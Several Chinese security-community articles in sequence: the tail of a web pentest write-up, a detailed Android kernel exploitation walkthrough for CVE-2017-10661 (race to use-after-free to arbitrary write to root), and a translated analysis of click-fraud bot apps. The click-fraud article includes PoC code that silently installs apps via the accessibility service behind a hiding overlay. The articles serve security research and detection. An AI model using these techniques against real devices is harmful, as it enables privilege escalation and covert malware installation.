[bug](https://bugs.php.net/bug.php?id=76047)。我们可以诱使它返回对已被破坏的变量的引用，从而导致释放后使用漏洞
由于涉及pwn方面知识，web狗就不深入研究了，同样直接利用插件，成功执行命令
到这里这个站就差不多了，也不算是特别难，想到了对应的点就拿下了
### 后记
在整理报告的时候重新看了一下这个站，发现了一个最致命的问题，web管理界面直接给了一个文件管理的功能，能任意文件进行上传，这不是能进后台就能拿shell么，翻了翻目录还有一些别的站搭在这个服务器上，心真大啊... | 社区文章 |
# 链表游戏：CVE-2017-10661之完全利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
huahuaisadog @ 360VulpeckerTeam
最近在整理自己以前写的一些Android内核漏洞利用的代码，发现了一些新的思路。
CVE-2017-10661的利用是去年CORE TEAM在hitcon上分享过的：<https://hitcon.org/2017/CMT/slide-files/d1_s3_r0.pdf>。他们给出的利用是在有CAP_SYS_TIME这个capable权限下的利用方式，而普通用户没这个权限。最近整理到这里的时候，想了想如何利用这个漏洞从0权限到root呢？没想到竟然还能有一些收获，分享一哈：
* CVE-2017-10661简单分析
* CAP_SYS_TIME下的利用
* pipe的TOCTTOU
* 思考下链表操作与UAF
* 0权限下的利用
## CVE-2017-10661简单分析
关于CVE-2017-10661的分析和SYS_TIME下的利用，CORE TEAM的ppt中已经有比较清晰的解释。我这里再简单的用文字描述一遍吧。
这个漏洞存在于Linux内核代码 fs/timerfd.c的**timerfd_setup_cancel**函数中：```
`
static void timerfd_setup_cancel(struct timerfd_ctx *ctx, int flags)
{
if ((ctx->clockid == CLOCK_REALTIME ||
ctx->clockid == CLOCK_REALTIME_ALARM) &&
(flags & TFD_TIMER_ABSTIME) && (flags & TFD_TIMER_CANCEL_ON_SET)) {
if (!ctx->might_cancel) { //[1][2]
ctx->might_cancel = true; //[3][4]
spin_lock(&cancel_lock);
list_add_rcu(&ctx->clist, &cancel_list); //[5][6]
spin_unlock(&cancel_lock);
}
} else if (ctx->might_cancel) {
timerfd_remove_cancel(ctx);
}
}
这里会有一个race condition：假设两个线程同时对同一个ctx执行 **timerfd_setup_cancel**
操作，可能会出现这样的情况（垂直方向为时间线）：
Thread1 Thread2
[1]检查ctx->might_cancel,值为false
. [2]检查ctx->might_cancel,值为false
[3]将ctx->might_cancel赋值为true
. [4]将ctx->might_cancel赋值为true
[5]将ctx加入到cancel_list中
. [6]将ctx再次加入到cancel_list中
所以，这里其实是因为ctx->might_cancel是临界资源，而这个函数对它的读写并没有加锁，虽然在 **if(!ctx->might_cancel)**和 **ctx->might_cancel**的时间间隔很小，但是还是可以产生资源冲突的情况，也就导致了后面的问题：会对同一个节点执行两次 **list_add_rcu**
操作，这是一个非常严重的问题。
首先cancel_list是一个带头结点的循环双链表。 **list_add_rcu** 是一个头插法加入节点的操作，所以第一次调用后，链表结构如图：
而对我们的victim ctx再次调用 **list_add_rcu** 会变成什么样子呢？``
static inline void list_add_rcu(struct list_head *new, struct list_head *head) {
__list_add_rcu(new, head, head->next);
}
static inline void __list_add_rcu(struct list_head *new,
struct list_head *prev, struct list_head *next)
{
new->next = next;
new->prev = prev;
rcu_assign_pointer(list_next_rcu(prev), new); //可以看做 prev->next = new;
next->prev = new;
}
要注意的是，第二次操作，我们的new == head->next，于是操作相当于：
victim->next = victim;
victim->prev = victim;
那么链表这时候就变成了这样：
可以看到victim的next指针和prev指针都指向了自己。这时候就会发生一系列问题，第一我们再也没办法通过链表来访问到victim
ctx后面的节点了(这点和漏洞利用关系不大)，第二我们也没办法将victim这个节点从链表上删除，尽管我们可以在kfree ctx之前对其执行
**list_del_rcu** 操作：`
`
static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
prev->next = next;
}
static inline void __list_del_entry(struct list_head *entry)
{
__list_del(entry->prev, entry->next);
}
static inline void list_del_rcu(struct list_head *entry)
{
__list_del_entry(entry);
//上一句可描述为：
//entry->next->prev = entry->prev;
//entry->prev->next = entry->next;
entry->prev = LIST_POISON2;
}
于是 **list_del_rcu** 执行之后，链表又变成了这样子：
所以尽管之后会执行kfree将victim
ctx给free掉，但是我们的cancel_list链表还保存着这段free掉的ctx的指针：head->next以及ctx->prev。所以如果后续有对cancel_list链表的一些操作，就会产生USE-AFTER-FREE的问题。
这也就是这个漏洞的成因了。
## CAP_SYS_TIME下的利用
CORE TEAM的ppt里给出了这种利用方式。他们从victim
ctx释放后并没有真正从cancel_list拿下来，仍然可以通过遍历cancel_list访问到victim ctx这一点做文章。
对cancel_list的遍历在函数 **timerfd_clock_was_set** :`
`
void timerfd_clock_was_set(void)
{
ktime_t moffs = ktime_get_monotonic_offset();
struct timerfd_ctx *ctx;
unsigned long flags;
rcu_read_lock();
list_for_each_entry_rcu(ctx, &cancel_list, clist) {
if (!ctx->might_cancel)
continue;
spin_lock_irqsave(&ctx->wqh.lock, flags);
if (ctx->moffs.tv64 != moffs.tv64) {
ctx->moffs.tv64 = KTIME_MAX;
ctx->ticks++;
wake_up_locked(&ctx->wqh); //会走到 __wake_up_common函数
}
spin_unlock_irqrestore(&ctx->wqh.lock, flags);
}
rcu_read_unlock();
}
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
if (curr->func(curr, mode, wake_flags, key) && //curr->func
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
思路就是
* 等victim ctx被free之后，进行堆喷将victim ctx覆盖成自己精心构造的数据（这里可以用keyctl或者是sendmmsg实现）。
* 然后调用 **timerfd_clock_was_set** 函数，这时会遍历cancel_list，由于head->next就是我们的victim ctx，所以victim ctx会被这次操作引用到。数据构造得OK的话，会调用 **wake_up_locked( &ctx->wqh)**，而ctx就是我们的victim ctx
* 这以后ctx->wqh是自己定义的数据，所以 **\\_\\_wake\\_up\\_common** 的curr，curr->func也是我们可以决定的。
* 所以执行到curr->func的时候，我们就控制了PC寄存器，而X0等于我们的curr
* 劫持了pc，之后找rop/jop就能轻松实现提权操作，这里不再多说。
为什么说这是CAP_SYS_TIME权限下的利用方法呢？因为 **timerfd_clock_was_set** 函数的调用链是这样：
timerfd_clock_was_set <-- clock_was_set <-- do_settimeofday <-- do_sys_settimeofday <--SYS_setttimeofday
用户态需要调用 **settimeofday** 这个系统调用来触发。而在 **do_sys_settimeofday**
函数里有对CAP_SYS_TIME的检查：
int do_sys_settimeofday(const struct timespec *tv, const struct timezone *tz)
{
...
error = security_settime(tv, tz); //权限检查
if (error)
return error;
...
if (tv)
return do_settimeofday(tv);
return 0;
}
static inline int security_settime(const struct timespec *ts,
const struct timezone *tz)
{
return cap_settime(ts, tz);
}
int cap_settime(const struct timespec *ts, const struct timezone *tz)
{
if (!capable(CAP_SYS_TIME)) //检查CAP_SYS_TIME
return -EPERM;
return 0;
}
所以我们如果想以这种方式来利用这个漏洞，就需要进程本身有CAP_SYS_TIME的权限，这也就限制了这种方法的适用范围。于是我们想要从0权限来利用这个漏洞，就得另辟蹊径。
## pipe的TOCTTOU
在介绍0权限的利用方法思路之前，我觉得得先介绍下pipe的TOCTTOU机制，因为这个是接下来利用思路的一个基础。关于这部分的内容，也可以参考[shendi大牛的slide](<https://github.com/retme7/My-Slides/blob/master/The-Art-of-Exploiting-Unconventional-Use-after-free-Bugs-in-Android-Kernel.pdf>)
TOCTTOU : time of check to time of use
.写程序的时候通常都会在使用前，对要使用的数据进行一个检查。而这个检查的时间点，和使用的时间点之间，其实是有空隙的。如果能在这个时间空隙里，做到对已经check的数据的更改，那么就可能在use的时刻，使用到非法的数据。
pipe的 **readv / writev** 就是这样一个典型。以readv为例，readv会在 **do_readv_writev** 的
**rw_copy_check_uvector** 函数里对用户态传进来的所有iovector进行合法性检查：
struct iovec {
void *iov_base;
size_t iov_len;
};
ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,
unsigned long nr_segs, unsigned long fast_segs,
struct iovec *fast_pointer,
struct iovec **ret_pointer)
{
unsigned long seg;
ssize_t ret;
struct iovec *iov = fast_pointer;
...
if (nr_segs > fast_segs) {
iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); //[1]
...
}
if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
...
}
...
for (seg = 0; seg < nr_segs; seg++) {
void __user *buf = iov[seg].iov_base;
ssize_t len = (ssize_t)iov[seg].iov_len;
...
if (type >= 0
&& unlikely(!access_ok(vrfy_dir(type), buf, len))) { //[2]
ret = -EFAULT;
goto out;
}
...
}
}
可以看到这个检查函数做了两件事：
[1]如果iovector的个数比较多（大于8），就会kmalloc一段内存，然后将用户态传来的iovector拷贝进去。当然如果比较小，就直接把用户态传来的iovector放到栈上。
[2]对iovector进行合法性检查，确保所有的iovecor的iov_base都是用户态地址。
这里也就是pipe的time of check。
在检查通过之后，会去执行pipe_read函数，相信分析过CVE-2015-1805的朋友们都知道，pipe_read函数里对iovector的iov_base
**只会做是不是可写地址的检查，而不会做是不是用户态地址的检查**
，然后有数据就写入。pipe_read函数往iovector的iov_base里写入数据的时刻(__copy_to_user)，就是pipe的time of
use。
那么这个check 和
use的间隙是多长呢？这取决于我们什么时候往pipe的buffer里写入数据。因为pipe_read默认是阻塞的，如果pipe的buffer里没有数据，pipe_read就会一直被阻塞，直到我们调用writev往pipe的buffer写数据。
**所以，pipe的time of check to time of use这个间隔，可以由我们自己控制。**
如果在这个时间间隔有办法对iovector进行更改，那么就可能往非法地址写入数据：
那么，怎么才能在这个时间间隔，对iovector进行更改呢？
这当然要通过漏洞来实现：
1，堆溢出漏洞。前面分析知道，如果有8个以上的的iovctor，就会调用kmalloc来存储这些iovector。如果能有一个内核堆溢出漏洞，那么只要把堆布局好，就能让溢出的数据，该卸掉iovector的iov_base.
2，UAF漏洞。要知道，我们kmalloc的iovector也是有占位功能的，如果使用iovector进行堆喷，将free过的victim进行占位。然后触发UAF，如果这个use的操作，能对占位的iovector进行更改，那么也就实现了目的。
知道了pipe的TOCTTOU的基础，我们可以来重新思考下CVE-2017-10661。
## 思考下链表操作与UAF
链表其实是个变化过程比较多的数据结构，对某节点的删除或者添加都会影响相邻的节点。那如果一个节点出现了问题，对它的相邻节点进行一系列操作会产生什么样的变化呢？在基于CVE-2017-10661将链表破坏之后，我在这里将给出两种情景。首先贴一张已经释放了victim
ctx之后，cancel_list的状态图吧：
victim ctx已经被free，但是head->next和ctx_A->prev仍然保留着这段内存的指针。那么：
**情景一：添加一个新的节点ctx_B**
同样还是头插法，于是下面这几段代码会执行：
ctx_B->next = head->next;
ctx_B->prev = head;
head->next->prev = ctx_B; //这里等价于 victim_mem->data2 = ctx_B
head->next = ctx_B;
可以看到，这个添加操作（list_add_rcu）会对已经free了的内存进行操作，会将**victim_mem->data2**赋值为ctx_B。语言总是没有图片来的直观，添加操作执行后链表的状态如图：
结合我们之前讨论的pipe
TOCTTOU，如果victim_mem刚好是由我们的pipe的iovector所占位，那么这里对data2的更改，可能就会对某个iov_base进行更改：iov_base
= ctx_B。那么这样就允许我们对ctx_B->list进行任意写入。
**情景二：删除节点ctx_A**
删除操作会影响前后两个节点，我们假设ctx_A的next节点是ctx_C，那么就有：
ctx_A->prev->next = ctx_A->next;//等价于 victim_mem->data1 = ctx_C
ctx_A->next->prev = ctx_A->prev;//等价于 ctx_C->prev = victim_mem
ctx_A->prev = LIST_POISION2;
与情景1类似，这个删除操作（list_del_rcu），也会已经free了的内存进行操作，将 **victim_mem- >data1**赋值为ctx_C：
同样的，如果victim_mem刚好是由我们的pipe的iovector占位，对data1的更改，也可能改掉iov_base:iov_base =
ctx_C。这样也就能对ctx_C->list进行任意写入。
为什么要给出两种情景呢？因为我们需要考虑一个究竟是data1对应iov_base，还是data2对应iov_base。iovector的结构是这样：
struct iovec {
void *iov_base;
size_t iov_len;
};
64位下，struct
iovec是16字节大小，跟上面list结构的大小一样。于是data1和data2中必有一个是iov_base,一个是iov_len。而我们需要改的是iov_base。所以上述两种情景，根据具体情况就能找到一种适用的。
问题又来了，比如说情景二，能够对ctx_C->list进行任意写入又能做什么呢？
能够对双链表某节点的next,prev指针进行完全控制，是一件很恐怖的事情。因为在 **删除**
这个节点的时候，会导致一个很严重的问题。具体怎么回事我们看代码：``
static inline void list_del_rcu(struct list_head *entry)
{
__list_del_entry(entry);
//上一句可描述为：
//entry->next->prev = entry->prev;
//entry->prev->next = entry->next;
entry->prev = LIST_POISON2;
}
假设我们将prev指针改为target_address，next指针改为target_value。那么上述代码就等价于：
*(uint64_t)(target_value + 8) = target_address;
*(uint64_t)(target_address) = target_value;
于是这导致了一个 **任意地址写入任意内容** 的问题。当然，写入的内容没那么任意，它的值必须也要是一个可写的地址。
## 0权限下的利用
有了上述的讨论之后，我们利用的思路逐渐明朗。
我们的ctx是0xF8的大小，处于0x100的slab块里面，所以地址总是0地址对其。那么如果要做iovector进行占位，得到的地址也总是0地址对其，所以里面元素的iov_base也会是0地址对其。在我测试的机器（nexus6p）上，next指针偏移是0xE0，prev指针是0xE8。所以我们需要选择情景二：删除victim的next节点。那么我们的步骤应该是：‘
* 在创造victim ctx之前，将ctx_C加入cancel_list，然后将ctx_A加入cancel_list
* 赢得竞争，导致victim ctx被list_add_rcu两次
* 对victim ctx执行list_del_rcu操作，并将victim_ctx释放，此时cacncel_list是这样：
* 用iovector进行堆喷，使得其将victim mem占位：
* 这时pipe_read被阻塞，执行删除ctx_A的操作，会导致iov_base的更改，改成指向我们的ctx_C:
* 然后我们执行pipe_write，这时会导致ctx_C的next指针和prev指针被我们改写。next指针改写为target_value，prev指针改写为target_addr:
* 最后我们对ctx_C执行删除节点的操作，就能 **实现任意地址写任意内容** 了，当然写的内容不能那么任意。
在这之后，再进行提权是一件很容易的事情。这里简单描述两种做法：
1，target_addr设置为&ptmx_cdev->ops,target_value设置为0x30000000。这样我们在用户态0x30000000布置好函数指针，
后续操作就很容易了。修改task_prctl相关的也是一样的道理。
2，增加/修改地址转换表中的内存描述符。这个虽然说原理比较复杂，介绍起来可能比本文之前说的所有的内容还要长，但是实现起来却是很方便。像nexus6p这样的机器，kernel的第一级地址转换表的地址固定为0xFFFFFFC00007d000，在中添加一条合适的内存描述符，就能实现在用户态读取/修改kernel的text段的内容，实现kernel
patch。提权也就很轻松了，而且好处是不需要找各种各样的地址，自己读取kernel的内容，自己能计算出来，可以做成通用的root。不过这种方法在三星这种有RKP保护的机器上不适用，或者说得绕过才行。
然后，这个漏洞，其实还是可以转化为 **任意地址写任意内容**
，这次的写的内容可以任意，但是做法就不一样了。需要把iov_len做得长一点，把对ctx_C的写入转化为一个堆溢出的漏洞。然后达成目标。
江湖规矩放图：
最后，对于文中出现的问题，还请各路大牛加以斧正，欢迎技术交流：[[email protected]](mailto:[email protected])
## 参考文档
1, <https://hitcon.org/2017/CMT/slide-files/d1_s3_r0.pdf>
2,
<https://android.googlesource.com/kernel/msm/+/0fecf48887cf173503612936bad2c85b436a5296%5E%21/#F0>
3,[
https://android.googlesource.com/kernel/msm/+/e7a3029ebf4175889e8bdb278fd9cf02a211118c/fs/read_write.c](https://android.googlesource.com/kernel/msm/+/e7a3029ebf4175889e8bdb278fd9cf02a211118c/fs/read_write.c)
4,<https://github.com/retme7/My-Slides/blob/master/The-Art-of-Exploiting-Unconventional-Use-after-free-Bugs-in-Android-Kernel.pdf>
## 360Vulpecker Team
隶属于360公司信息安全部，致力于保护公司所有Android App及手机的安全，同时专注于移动安全研究，研究重点为Android
APP安全和Android OS安全。
团队定制了公司内部安卓产品安全开发规范，自主开发并维护了在线Android应用安全审计系统“360显危镜”，在提高工作效率的同时也为开发者提供了便捷的安全自测平台。
同时团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢名单中，挖掘的漏洞屡次获得CVE编号及致谢，在保证360产品安全的前提下，团队不断对外输出安全技术，为移动互联网安全贡献一份力量。 | 社区文章 |
# 【技术分享】点击型僵尸app：能够自动点击的安卓僵尸app（下）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.zimperium.com/clicking-bot-applications/>
译文仅供参考，具体内容表达以及含义原文为准。
**译者** **：**[
**興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**预估稿费：200RMB**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**传送门**
****
[******【技术分享】点击型僵尸app：能够自动点击的安卓僵尸app（上）**](http://bobao.360.cn/learning/detail/4686.html)
**四、利用无障碍辅助服务的CBA**
****
[
无障碍服务](https://developer.android.com/reference/android/accessibilityservice/AccessibilityService.html)是Android平台提供的一种服务，该服务提供了一种用户界面增强功能，可以帮助残障用户或者暂时无法与设备完全交互的用户。
无障碍服务的服务对象本来只局限于使用Android设备及应用的残障人士。应用程序可以通过这种服务来发现在屏幕上显示的UI小部件，查询这些部件的内容，以程序方式与这些部件交互。利用这些功能，残障用户可以更好地访问Android设备。
恶意软件一直以来都在滥用无障碍服务（Accessibility Service
Abuse，ASA）来发起攻击，如[DoubleLocker](https://blog.zimperium.com/detecting-doublelocker-ransomware/)勒索软件以及Shedun恶意软件（也叫做Kemoge、Shiftybug以及Shuanet）等大规模攻击事件中就用到过这一技术。
应用可以使用无障碍服务以及（或者）顶层绘制（[Draw on
Top](https://developer.android.com/reference/android/Manifest.permission.html#SYSTEM_ALERT_WINDOW)）权限，创建一个位于所有其他应用顶层的窗口，这种攻击手法也称之为[“Cloak
& Dagger”攻击](http://cloak-and-dagger.org/)。利用这种攻击手法，恶意应用可以完全控制UI反馈闭环，悄无声息接管整个设备。
其他类型的CBA无需请求任何权限，而 **Cloak &
Dagger（以下简称C&D）**攻击需要请求SYSTEM_ALERT_WINDOW（顶层绘制）以及BIND_ACCESSIBILITY_SERVICE（无障碍服务）权限。如果应用的安装渠道源自于Play
Store，那么该应用会自动获得SYSTEM ALERT WINDOW权限。
这两个权限结合起来可以实现某些恶意软件所具备的功能：
**1、静默安装应用。由于安装过程无需用户同意，应用程序可以变成上帝应用（启用了所有权限），或者换句话说，该应用可以安装间谍软件。**
**2、发起非常完美的隐蔽钓鱼攻击。**
**3、将PIN码改成攻击者控制的PIN码，阻止用户访问设备（然后要求用户支付赎金）。**
**4、记录用户键盘操作，可以窃取密码（只需获得无障碍服务权限）。**
我们来演示一下某款Android CBA如何滥用无障碍服务，不经用户许可安装其他Android应用。
前文提到的广告欺诈点击行为在设备上的表现非常明显，然而在设备端我们无法发现基于安装欺诈或者流量欺诈的欺诈行为，但可以使用基于服务端信息的其他识别方法进行检测。
本文所研究的是CBA网络的营收问题，因此，为实现利益最大化，应用程序可能会安装多个广告软件或者CBA程序。无论如何，能够发起C&D攻击的CBA比单纯的广告欺诈点击软件更为可恶，原因如下：
1、Android应用可以使用[ **VirtualApp**](https://github.com/asLody/VirtualApp)框架或基于[
**DexClassLoader**](https://developer.android.com/reference/dalvik/system/DexClassLoader.html)的其他技术来动态加载不受监管的代码。这些代码可能是勒索软件或者能够窃取密码的间谍软件。
2、所安装的应用无需经过用户许可，没有经过Google Play
Store的校验，因此可以是勒索软件或者窃取密码的间谍软件，也可以动态加载未受监管的类似代码安装其他恶意软件。
我之前也发现过使用自动点击技术完成应用安装的案例，但这里我想以自己写的概念验证代码（PoC）为例子来介绍。自己的代码更加干净整洁，通过逆向工程方法提取的其他代码还存在部分混淆情况，不便于分析。
接下来介绍的这个示例应用可以通过如下方法来安装其他应用程序：
1、在manifest中注册AccessibilityService，配置intent过滤器，设置<intent-filter>的name属性值为
**accessibilityservice.AccessibilityService** 。
2、如果尚未获得无障碍服务权限，则以“合理的”理由请求该权限。
3、为了隐藏安装窗口，使用一个布局（layout）填充整个屏幕，该布局使用 **LayoutParams.TYPE_SYSTEM_ALERT** 标志。
4、开始安装本地apk文件。
5、过滤 **AccessibilityService** ，在android.packageinstaller软件包中，查找
**PackageInstallerActivity** 中的 **AccessibilityEvent** 。
6、通过 **findAccessibilityNodeInfosByText** 方法，查找待点击的安装按钮。
7、使用 **performAction(AccessibilityNodeInfo.ACTION_CLICK)** 语句自动点击按钮。
8、撤掉上层覆盖窗口（如果使用过顶层窗口的话）。
在Manifest文件中注册 **AccessibilityService** ，如下所示：
<service
android:name=".AccessibilityServiceImpl"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/help"/>
</service>
如果尚未获得无障碍服务权限，则以“合理的”理由请求该权限。
private static final String SERVICE_NAME = "money.for.nothing/.AccessibilityServiceImpl";
private boolean isAccessibilityServiceEnabled() {
List<AccessibilityServiceInfo> accessibilityServices =
mAccessibilityManager.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_GENERIC);
for (AccessibilityServiceInfo info : accessibilityServices) {
if (info.getId().equals(SERVICE_NAME)) {
return true;
}
}
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivity(intent);
return false;
}
使用“合适”的上下文环境来隐藏安装窗口。
final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
WindowManager.LayoutParams.FLAG_FULLSCREEN,
PixelFormat.TRANSLUCENT);
LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);
View mainView = null;switch (process) { case PAYMENT:
mainView = li.inflate(R.layout.money_for_nothing_installing, null); break; case LOCATION:
mainView = li.inflate(R.layout.money_for_nothing_setting, null); break; case UNINSTALL:
mainView = li.inflate(R.layout.money_for_nothing_searching, null);
Break; case INSTALL:
mainView = li.inflate(R.layout.money_for_nothing_loading, null);
Break;
}final View finalMainView = mainView;
_windowManager.addView(mainView, params);
开始安装本地apk文件。
String path = "/storage/emulated/legacy/Download/zanti3.01.apk";
if (isAccessibilityServiceEnabled()) {
Intent promptInstall = new Intent(Intent.ACTION_VIEW)
.setDataAndType(Uri.parse("file://"+ path),
"application/vnd.android.package-archive");
startActivity(promptInstall);
}
找到并点击“Install button”（安装按钮）。
public class HelpService extends AccessibilityService {
private static final CharSequence PACKAGE = "com.android.packageinstaller;
@TargetApi(Build.VERSION_CODES.JELLY_BEAN) @Override public void onAccessibilityEvent(final AccessibilityEvent event) {
if(null == event || null == event.getSource()) { return; }
if(event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
event.getPackageName().equals("com.android.packageinstaller")){
if(className.endsWith("PackageInstallerActivity")){
simulationClick(event, "Install");
}
}
}
@TargetApi(Build.VERSION_CODES.JELLY_BEAN) private void simulationClick(AccessibilityEvent event, String text){
Log.v("click", "simulationClick: "+ text);
List<AccessibilityNodeInfo> nodeInfoList = event.getSource().findAccessibilityNodeInfosByText(text);
for (AccessibilityNodeInfo node : nodeInfoList) {
if (node.isClickable() && node.isEnabled()) {
node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
}
}
@Override public void onInterrupt() { }
}
**XVideo恶意软件分析**
接下来我们来分析一下“XVideo”恶意软件，这款恶意软件所作的操作与上述操作类似，唯一的不同是它并没有隐藏安装过程。
这款恶意软件同样实现了一些典型的恶意软件功能，以规避Google Play上的恶意软件检测机制，比如：
1、虽然应用的包名各不相同，但所有activity的名字都采用“pronclub.*”格式。
<application android:name=“org.gro.jp.fjksbxcvbcxnnxlsdtApp” …>
<activity android:name=“com.pronclub.GdetailActivity” />
<activity android:name=“com.pronclub.GwebActivity” />
<activity android:name=“com.pronclub.GpointActivity” />
**2、应用程序在assets目录中存放APK文件。** APK头部数据使用滚动式异或算法（rolling XOR）进行编码，通过
**DexClassLoader** 动态加载dex代码。
DexClassLoader dLoader = new DexClassLoader(str, str2, str4, (ClassLoader) fjksbxcvbcxnnxswdpkff.getFieldfjksbxcvbcxnnxklOjbect(fjksbxcvbcxnnxalldd[3], wrfjksbxcvbcxnnx.get(), fjksbxcvbcxnnxalldd[4]));
3、这款CBA注册了一个无障碍服务，服务名为“Play decoder++”。在代码中，该字符串的属性名为“auto install
service”，与其真实功能非常贴切。
<string name=”acc_auto_install_service_name”>[Decoder] Play Decoder++</string>
<service android:label=”@string/acc_auto_install_service_name” android:name=”com.ted.android.service.bni” android:permission=”android.permission.BIND_ACCESSIBILITY_SERVICE”>
**五、其他点击欺诈方法**
****
点击欺诈是一种非常狡猾的犯罪行为，它会使用各种方法来绕过检测技术。在判断某个应用是否脱离用户交互过程，实施点击欺诈行为时，我们应注意其中一些方法或者参数，根据这些因素来具体判断：
1、应用所点击的区域是否超出应用UI组件范围？（比如Facebook应用点击了WhatsApp应用）
2、应用请求哪些权限？
3、应用是否请求Root权限，或者是否以系统应用身份运行？（位于 **/system/app** 目录下的应用通常带有操作系统的签名）
4、应用行为是否在设备上可见？前文提到过，服务端负责基于信息收集的观察方法，与应用所使用的点击方法无关。
当用户点击某个Android UI组件（ **ViewGroup**
）时，操作系统或广告SDK所得到的输出结果如下所示。比如，一次用户点击事件会生成两个MotionsEvent ，分别对应手指按下以及手指抬起动作：
MotionEvent { action=ACTION_DOWN, id[0]=0, x[0]=198.75, y[0]=63.42859, toolType[0]=TOOL_TYPE_FINGER, buttonState=0, metaState=0, flags=0x0, edgeFlags=0x0, pointerCount=1, historySize=0, eventTime=18381654, downTime=18381654, deviceId=6, source=0x1002 }
MotionEvent { action=ACTION_UP, id[0]=0, x[0]=198.75, y[0]=63.42859, toolType[0]=TOOL_TYPE_FINGER, buttonState=0, metaState=0, flags=0x0, edgeFlags=0x0, pointerCount=1, historySize=0, eventTime=18381742, downTime=18381654, deviceId=6, source=0x1002 }
这里我们定义一个术语：设备端检测（on-device-detection）技术，即能否通过上述MotionEvent 参数发现欺诈点击行为。
**5.1 使用Android平台的dispatchTouchEvent API**
如前文所述，这个API的特点为：
1、只能点击应用自己的UI组件。
2、无需请求任何权限就能运行。
3、无需root权限或以系统应用运行就能提交操作。
前面我们给出了 **com.life.read.physical.trian**
反编译后的源代码，如果使用这份代码来操作点击行为，那么只需要注意几个参数就能发现欺诈行为。
首先是source=0x1002，其次是TOOL_TYPE_UNKNOWN。
应用可以保存引用信息，回收一些Android
UI组件（如MotionEvent.PointerCoords、MotionEvent.PointerProperties等），设置其他“source”属性值，在私有API上使用反射（reflection）机制，通过这些操作，应用在设备上的所作所为对用户而言会变得完全透明。
这些技巧如果应用得当，就能真正达到不劳而获的效果。
**5.2 滥用无障碍服务**
如前文所述，这个服务具备如下特点：
1、可以点击其他组件。
2、需要请求BIND_ACCESSIBILITY_SERVICE权限。启动无障碍服务需要由用户在设备设置中启用该服务选项。
3、无需[root权限](https://en.wikipedia.org/wiki/Rooting_\(Android\))或以系统级应用运行。
这类欺诈行为对应“toolType[0]=TOOL_TYPE_UNKNOWN”，因此很容易识别。
虽然我们可以通过设备上的点击欺诈特征发现广告欺诈软件，然而无法发现安装欺诈或者流量欺诈型软件，但我们还是可以使用基于服务端信息的其他识别方法加以检测。
**5.3 使用Android底层输入管道**
[Android输入子系统](https://source.android.com/devices/input/touch-devices)（Android
input subsystem）中包含一个贯穿多层子系统的事件管道（event pipeline）。shell用户可以使用“input”程序来创建触摸事件。
这种方法特点如下：
1、可以点击其他组件。
2、无需任何权限就能运行。
3、需要Shell用户权限，也就是说Root权限足以满足需求。
使用这种方法时，在设备上的点击事件会带有“toolType[0]=TOOL_TYPE_UNKNOWN”参数，可借此来识别欺诈行为。
**5.4 在“InputManager”类的injectInputEvent方法上使用反射技术**
欺诈应用可以在[InputManager](https://developer.android.com/reference/android/hardware/input/InputManager.html)上使用[Java的反射（Reflection）API](https://docs.oracle.com/javase/tutorial/reflect/)，这种方法的特点如下：
1、可以点击应用组件。以shell用户运行时可以点击其他组件。
2、无需任何权限就能运行。
3、可能需要以系统应用身份运行，具体取决于所使用的操作系统以及设备。
使用这种方法时，在设备上的点击事件会带有“toolType[0]=TOOL_TYPE_UNKNOWN”参数，可借此来识别欺诈行为。
攻击者还可以使用其他一些方法来实施广告欺诈、安装欺诈以及数据流量欺诈行为，比如：
1、篡改广告SDK。
2、逆向广告SDK，使用反射技术发送伪造的事件。
3、Hook广告ADK或者系统UI。
**六、总结**
****
随着时间的推移，CBA也变得越来越复杂。为了能够随意玩弄操作系统，使用最新开发工具包的应用开发者可以采取各种各样的创新手法。综合利用各种方法后，CBA可能会完全规避现有的检测技术，除非我们能找到更加有效的实时检测方法，才能从设备中移除这类恶意应用。
未来，广告业的龙头服务商需要采取相应的防御手段或保护方法，来对抗僵尸软件以及点击欺诈软件，避免向欺诈行为支付金钱。应用开发者需要提供诸如[zIAP™](https://www.zimperium.com/ziap-in-app-protection)的全面保护方案，来实时监测欺诈软件及移动恶意软件。如果缺少此类保护机制，那么每次点击时，未受保护的开发者以及设备所能得到的收益就会受到影响。
本文列举了点击欺诈行为的几个案例并做了相关分析，希望读者阅读本文后能有所收获。zLabs对这类行为的研究领域涵盖应用、移动操作系统以及硬件领域，目标是研发最好的移动安全产品及服务，保护个人及企业信息。
如果你有具体问题或者想向zLabs或其他团队反馈意见及建议，欢迎通过这个页面来联系我们。
感谢zLabs的所有研究人员，特别是Matteo Favaro
（[@fvrmatteo](https://twitter.com/fvrmatteo)），以上研究成果离不开他们的帮助。 | 社区文章 |
### 0x01 初始化
目标是这个样子的:
开发商已知,搜索引擎没找到洞。。。
### 0x02 加载中
登陆口可以爆破,但是:
用户名也遍历不了,简单爆破了一下, **无果** 。
前台JS的文件命名很有意思:
满屏SB:
开发当时的怨气挺重的。
每个JS都仔细分析了一遍, **无果** 。
扫了一下目录, **无果** 。
扫了一下端口, **无果** 。
